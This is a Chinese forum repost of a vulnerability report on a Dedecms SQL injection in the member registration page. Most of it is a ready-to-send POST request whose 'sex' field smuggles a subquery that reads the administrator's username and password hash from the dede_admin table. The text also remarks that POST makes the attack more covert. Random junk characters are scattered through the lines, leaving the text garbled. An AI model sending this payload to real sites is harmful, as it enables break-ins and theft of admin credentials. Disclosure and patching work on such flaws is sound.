漏洞类型： SQL注射漏洞
2 `. C9 l: z; e; m! G简要描述：9 x4 {/ H) Z3 t% M
7 K0 f9 c7 h, ?, J3 v- _7 S8 ~需要magic_quotes_gpc=Off,应该是没有什么大危害的漏洞.5 i1 P2 C8 I+ C! D* O/ I/ r
原来在wooyun发过一个Dedecms注射漏洞,貌似并没有修补,重新利用了一下,可以获得管理员密码." [( q$ V2 f8 z: V8 W4 G
详细说明：跟这个漏洞
2 } M! C( E E$ C* A3 i 2 h+ [9 M+ e% \/ `
WooYun: Dedecms SQL注射导致审核机制绕过漏洞7 e# w5 y$ U. Y. O! @
是一个漏洞.其实不仅仅是审核机制绕过,可以获得管理员密码的.
* D. h4 L8 S. o3 R' P; `' `POST提交以下数据,其实不用POST提交的,这样隐蔽点.4 a& U+ X& a) i' S
2 I! k- K+ c2 U* p; S; b, h2 k
www.political-security.com/member/reg_new.php7 l; i5 m7 |1 X- n, i# W
3 y' V0 ?5 t' X" M3 A
POST7 R5 X' V$ p1 R& J! ?5 |, G
+ `" Z7 d4 }% Z9 X5 ^( x4 f! V% K% @4 M
dopost=regbase&step=1&mtype=%E4%B8%AA%E4%BA%BA&mtype=%E4%B8%AA%E4%BA%BA&' n5 o5 R# r. k5 T/ Q. B
userid=c4rp3nt3r&uname=c4rp3nt3r
8 q( C& y. M6 F6 w7 u+ @&userpwd=ssssss&userpwdok=ssssss&email=sss%40ss.ss
; d, F7 q% f9 m&safequestion=0&safeanswer=&sex=boy',100,100,'sss@xx.xx',1000,0,'www' and @`'`,
3 W8 r% W: u; c& o(select concat(userid,0x3a,pwd) from `dede_admin` limit 1),0,'',1316751900,'',1316751900,'');
9 h0 Q8 _% Y: f j1 V0 C; H, T%00&vdcode=glos&agree= |
发表于 2013-1-19 08:25:02
收藏
支持
反对